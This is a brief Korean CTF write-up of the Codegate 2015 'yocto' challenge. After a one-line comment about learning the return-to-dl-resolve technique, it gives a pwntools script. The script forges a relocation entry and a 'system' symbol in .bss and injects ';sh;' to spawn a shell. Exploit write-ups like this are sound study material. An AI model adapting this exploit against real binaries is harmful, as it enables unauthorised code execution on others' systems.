codegate 2015 yocto

후기 : RDTL이라는 새로운 기법을 터득했다!

※jinmo123(진용휘), pwn3r(권혁)님 문서 참조

from pwn import *

buf = 0x080495c0    # .bss
strtab = 0x80481fc  # Save string
symtab = 0x804818c  # Real function offset
jmprel = 0x8048270  # Relocation table
dynamic_linker = 0x80482a0
target = 0x8049610  # read
system = 'system\x00'

r_addr = buf + 20 # read_reloc addr
sys_addr = r_addr + 8 # system addr
r_offset = r_addr - jmprel # read_reloc offset
string = sys_addr - strtab # string offset

payload = '.' + str(r_offset) + '.' + str(dynamic_linker)
payload += ';sh;'
payload += 'A'*(20 - len(payload))

payload += p32(target)
payload += p32(0x14607)
payload += system
payload += 'A'*9
payload += p32(string)

print payload